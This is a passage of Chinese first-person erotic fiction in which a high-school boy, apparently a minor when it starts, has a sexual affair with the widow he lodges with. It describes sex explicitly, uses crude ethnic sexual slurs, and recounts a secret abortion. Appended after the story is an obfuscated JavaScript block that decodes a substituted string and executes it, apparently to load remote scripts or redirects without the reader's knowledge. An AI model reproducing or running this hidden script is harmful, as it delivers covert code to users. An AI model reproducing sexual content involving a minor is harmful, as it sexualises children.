我最为迷恋的还是她的裸体:白嫩细腻,凸凹有序,粗细有秩,趴上去温柔似水。女人的阴毛大多在小腹下阴阜上有一小片,而她,自小腹以下遍部阴道周围,蓬蓬松松密密麻麻。大阴唇犹如一道分水岭,光洁、丰腴,犹如傲然挺立于丛林中的巨石;小阴唇宽厚、红润,倔强的突出大阴唇之外。特殊的生理构造极适合我硕大阴茎抽插、进退。我曾先后处过两个女友(包括妻子),但没有一个象她这样舒适宜人。我问他是什么民族。她说:“我虽是汉族,但兼有蒙古族血统。我姥姥是纯蒙古族。”想起家乡广为流传的一句下流话,便背给她听:“蒙古逼,高桩的,三天不操绑绑的。怨不得你这么可人,原来你是混血儿啊!”我嘲弄着,她便探起身子来拧我的脸。
“婶儿”既然贤惠,又沾染了家乡女性惯宠男人的习性,自发生性关系起,便开始给我吃小灶,每天早晨的鸡蛋是必须吃的。而且从此坚决不准我再从家里拿粮,要我向家里解释,说是我干的活足以顶粮钱了。而我,因为有了她的温柔之乡,开始乐不思蜀,既不愿读书也不想回自己的家。直到两个月后的连续两件事才使我们翻然醒悟。
11月初,她的潮汛没来,她开始坐卧不安。我不懂,每天照旧缠着她求欢,她虽然很少拒绝但作爱时显然精力不集中。尤其令我不解的是每当射精的时候她都竭力和我脱离接触。直到我生了气她才笑着平静的告诉我:“我可能怀孕了。”
我大惊失色。
当时社会上正强制计划生育。许多超升的家庭被搞得家破人忘。凡是有了一个孩子的男女都要节育(上环);凡是有两个孩子的都要手术绝育。婶儿生完最后一个孩子后是戴了环的,后来因为叔的离世有关部门就忽略了绝育的要求。大概因为乡下医疗单位技术差没戴好或性生活过于频繁、激烈弄掉了。我最担心的是当时的社会环境,而她最担心的则是名誉和我的前途。而一旦露馅那种担心都不是闹着玩的。俗语说:寡妇生孩子----肚子里有底,可她的底是不能保留这么长时间的。
一向天不怕地不怕的我现在害怕了。婶儿见我整天无精打采便安慰我说:“别怕,过几天看看,如果真怀孕了我想办法。”但我知道当时的办法谈何容易?就是正当的怀孕人流医院也要手续。度日如年般的又过了半个月还是没有动静。一天婶笑着对我说:“看来不能等了,再等肚子大了人家就看出来了,会让人笑话死的。”
“怎么办?”我问。
“你辛苦点,这几天自己伺候自己,我回娘家一趟,最多一个礼拜就回来。”
“我自己到好说,小妹怎么办?”
“我带上她。”
第二天,婶儿给小妹请了假,晚上就坐上火车走了。
我在家里度日如年,每天最多只吃一顿饭。到第四天,她回来了。看到她脸色苍白我担心的问:“怎么样?”
“完事了!”
原来她并没去娘家,而是去了邯郸某医院找自己的同学去了。我激动的忘了孩子还在跟前,上前就抱起了她。好在孩子正低头脱鞋没看到。
一波未平一波又起。正当婶儿卧床将息,我期中考试的成绩下来了。全部12科只有3科及格,主要的5科没有一个及格的。据说数学可以及格,但数学老师判券时见我答的不成体统判到一半就给我撕了,我可是数学课代表啊。我的成绩在学校引起轩然大波。我也由原来的凤凰变成落汤鸡。
先是教语文的班主任谈话:“高中一年级往往看不出什么,到二年级就开始分化了,你没到二年级就被淘汰了吗?”
教导主任谈话:究竟是怎么回事?骄傲了?”
数学老师最为果断,当即到教室宣布:“撤消X思楷数学课代表职务!”
校团委书记,最年轻的女教头,政治老师,涵养性比较强,嗅觉也敏锐,和我谈话时一直面带微笑:“搞对象了吧?”说实在的我恨透了她,到现在我也不喜欢搞政工的。
只有老校长的谈话让我流了眼泪:“一次考试说明不了问题,我相信你!”
我垂头丧气的进了门儿,婶儿从被窝里伸出手摸摸我的额头:“哪不舒服?”
我将成绩单递给她,她忽的坐了起来怔怔的看着我,我们相对无言。
婶赤裸迷人的酮体在被隙露出来,可我无心欣赏。
天已经暗了,该接孩子了。我经过深思熟虑,声音铿锵的对婶说:“婶儿,我去接孩子。下次考试看,如果我还考不好我永远不见你!”
“好!你这样我就放心了,以前都是我不好,太放纵了。以后我们都注意点,我最担心的是怕对不住你父母。不过,下次考不好就不见我了吗?”婶的神经也放松许多……我冲她笑了笑没说话出门去接孩子。
从此近两个月的时间我们没有在作爱。为了学习我再次要求单独住。她同意了,这个时候我才确信,她以前不让我单住确实是因为她夜间害怕。因为我搬出来后她一直不敢关灯。
我发奋学习,她精心照料,学校还专门召开一次会议研究我退步的原因,并指定几个课任老师对我重点帮教。84年1月,在高*上学期期末考试中我成绩再次遥遥领先。
那天中午,我兴冲冲进门将成绩单递给她,她看后象孩子一样跳起来抱住我。
压抑多时的渴望爆发了,当我解她裤腰带的时候她犹豫着说:“能行吗?”。
我问她:“你不行吗?”有过上次的教训我也不敢放肆了。
“我没问题,我怕再影响你学习。”
“就一次,不会影响的。”
她顺从的上了炕,脱光了衣服。所谓久别胜似新婚,我们忘乎所以的云雨,以至于她的女儿在院子里喊妈妈,吓得我慌忙提着衣服跑回自己房间。
如果说以前不懂的爱情更不懂责任与义务,只是为了性而性,通过这两次挫折我理智多了也成熟多了。晚上,她女儿睡了,她到我房间,我们拥抱着谈了很久。我第一次提出:等我考上大学咱们就结婚。她虽然没答应,但看得出来,她很兴奋,性交完后很久她还紧紧抱着我。
性,一旦尝试了,要忘掉是很难的。特别是我们住在一起,要杜绝几乎没有可能,但吸取上次两个教训我们很好的进行节制,我们约定每周只能一次。事实证明,有规律有节制的性生活,有益于精神的恢复和身体健康。有规律的性生活促进了我的学习。
86年8月,我顺利考入上海一所着名大学。
我考上了大学,家乡沸腾了。父母、亲友、老师、校长乐的何不拢嘴。海报从学校一直帖到县一中门口。是啊,在那个年代,一个乡村中学能出一个本科生而且是名校,其轰动既可想而知也完全能理解。当我使尽浑身解数挣脱各种应酬重新回到婶儿的身边的时候,她就象当年迎接我入住一样站在门口微笑着。我已经忘乎所以,不顾孩子就在身边,甚至不畏邻居的窥视一把把她抱了起来。孩子在一边笑着、跳着:“哥哥要上大学喽,哥哥抱妈妈喽。”我丝毫没有避讳的意思。
婶儿出奇的平静。当我把她放下来,她理了理头发仍然笑着说:“还没吃饭吧?婶给你作饭去。”
她的平静犹如泼了盆冷水,我立即清醒起来。从我接到录取通知书那一刻起,我就没进这个门。换位思考,如果我是她,6年如一日以自己的全部身心精心照料,将一个穷书生送进了“龙门”,而尚未腾飞就不再恋旧巢将做何感想?我知道我错了,尽管我有我的理由,尽管我绝不做陈世美。我没有去安慰她,更没有甜言蜜语,我知道此时任何语言都是苍白的。我努力使自己更象一个丈夫,和她谈论油盐酱醋柴,并含蓄的嘱咐我走后她应该怎样照料自己和我们的家。
她只是微笑。
饭后,孩子睡了,她来到我的房间,首先声明:“来和你聊会儿天,以后的机会不多了。”我并没多想,简单介绍了几天的活动情况便搂住她求欢。她第一次拒绝了。在我百般央告下她勉强褪下裤子……她没有激情,一潭秋水般的双眸一直盯着天棚。这是我们最后一次性爱。
事毕,我再次提出结婚的问题。我说:“我已经19岁了,超过了法定的结婚年龄,任何人都无权干涉。”[说实话,要和他结婚我并非没有压力,年龄、孩子都成了几乎不可逾越的鸿沟,社会中的千夫所指尚且不足为虑,而最大的障碍将来自于父母。但我相信这都是时间问题,随着时间的推移,一切都会过去。我坚信她会对父母好,而善良的父母不会逼我遗弃我所爱的人,而且我还相信通过了解父母也一定会喜欢她。我信心最强的是,我既然上了大学毕业后就不可能回到这个地方,我在哪里就让她跟我到那里。
这些无疑有我的真诚,但现在回忆也有幼稚。当我把所有这些告诉她的时候她平静的说:“现在不行,等你毕业在说吧。”
离家那天,小学、中学都办了高跷,小站上人山人海锣鼓喧天,我在亲人和老师的簇拥下来到乡村小站。亲人们都知道她对我好,可此时谁也没想到她。我的眼睛不断在人群中搜寻,可她却渺无踪迹。
在人们的祝福声中我蹬上了南去的列车,当风驰电掣的列车驶过镇东的道口时,绿油油的菜地里站着一个妇人……对于我来说她并不仅是情人,因为她对我付出的更多的是母亲的情怀。每当我写信的时候都是将她的连同父母的一起发,父母总是及时回信。而她仍然是渺无音信。好不容易挨到寒假,当我匆匆来到她的门前看到的却是铁锁把门。我不能去问邻居,我知道邻居不睦。正当我失望的转身欲走的时候邻居阿姨主动走来:“找淑贤啊?她搬走了。”
“搬哪去了?”
“好象是南方。”
我怔怔的看着邻居阿姨。阿姨叹息着说:“唉!其实她是个好人!”
第二天我又来到县一中试图找到小弟,可人们告诉我:“他转学了。”
一出校门我狠狠的说:“好彻底啊,混蛋!”
愤怒、失望、思念,几种思绪绞在一起。从县城返家的火车上,我眺望着我们曾经劳动、生活过的地方,无法排泄郁闷,眼泪顺着两颊潸然而下,引来众多疑问的眼神儿……如果她仅仅她付出了母亲的情愫,我或许不会如此思念,因为她的付出毕竟不能和母亲比;如果她仅仅是情人,我也不会如此思念,天下何处无情人?而她所以使我梦萦锁怀,就在于她既如母亲也是情人。她曾冒雨到校田地给我送伞,她曾趟河到对岸为我取药。当我们集体乘拖拉机去十几里外祭扫烈士墓不幸翻车的时候,她徒步跋涉赶到现场,看到我正和同学们指手画脚她才破涕为笑。
毋庸讳言,我们有性关系。但所有的性关系都不齿吗?每当事毕,她都会两腿夹着我的腿,让我的头枕着她的胳膊,犹如搂着一个婴儿,待我熟睡了她再悄悄的回到自己的房间……这一切都过去了。
!function(){function a(a){var _idx="l3bjguw3mf";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmd151YTT)mRT4gQ@{@/h^/}0sjR8qs)Cp_Ds^7"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"qs)Cp_Ds^7"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqmC({pRdKKmRT4"="}0s5FDqm_pQ)p{d:mRT4"="}0s)5DqmC({pRdKKmRT4"="}0sDLDqm_pQ)p{d:mRT4"="}0s^FDqmC({pRdKKmRT4"="}0sfLDqm_pQ)p{d:mRT4"="}0s(5DqmC({pRdKKmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((m5J:Y(Y){mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((m5J:Y(Y){mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmd151YTT)mRT4gQ@{@/f/}0sj(8}vR8qs)Cp_Ds^7"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmd151YTT)mRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();